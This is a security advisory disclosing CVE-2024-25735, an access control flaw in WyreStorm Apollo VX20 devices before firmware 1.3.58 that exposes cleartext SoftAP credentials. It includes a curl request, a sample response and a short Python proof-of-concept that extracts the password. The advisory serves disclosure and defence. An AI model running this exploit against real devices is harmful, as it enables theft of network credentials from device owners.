[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: https://hyp3rlinx.altervista.org/advisories/WYRESTORM_APOLLO_VX20_INCORRECT_ACCESS_CONTROL_CREDENTIALS_DISCLOSURE_CVE-2024-25735.txt [+] twitter.com/hyp3rlinx [+] ISR: ApparitionSec [Vendor] www.wyrestorm.com [Product] APOLLO VX20 < 1.3.58 [Vulnerability Type] Incorrect Access Control (Credentials Disclosure) [Affected Component] Web interface, config [Affected Product Code Base] APOLLO VX20 < 1.3.58, fixed in v1.3.58 [CVE Reference] CVE-2024-25735 [Security Issue] An issue was discovered on WyreStorm Apollo VX20 devices before 1.3.58. Remote attackers can discover cleartext credentials for the SoftAP (access point) Router /device/config using an HTTP GET request. The credentials are then returned in the HTTP response. curl -k https://192.168.x.x/device/config E.g. HTTP response snippet: :{"enable":"y","oncmd":"8004","offcmd":"8036"}},"screen":"dual","ipconflict":"y","wifi":{"auto":"y","band":"5","channel":"153"} ,"softAp":{"password":"12345678","router":"y","softAp":"y"}... [Exploit/POC] import requests target="https://x.x.x.x" res = requests.get(target+"/device/config", verify=False) idx=res.content.find('{"password":') if idx != -1: idx2=res.content.find('router') if idx2 != -1: print("[+] CVE-2024-25735 Credentials Disclosure") print("[+] " + res.content[idx + 1:idx2 + 11]) print("[+] hyp3rlinx") else: print("[!] Apollo vX20 Device not vulnerable...") [Network Access] Remote [Severity] High [Disclosure Timeline] Vendor Notification: January 18, 2024 Vendor released fixed firmware v1.3.58: February 2, 2024 February 11, 2024 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx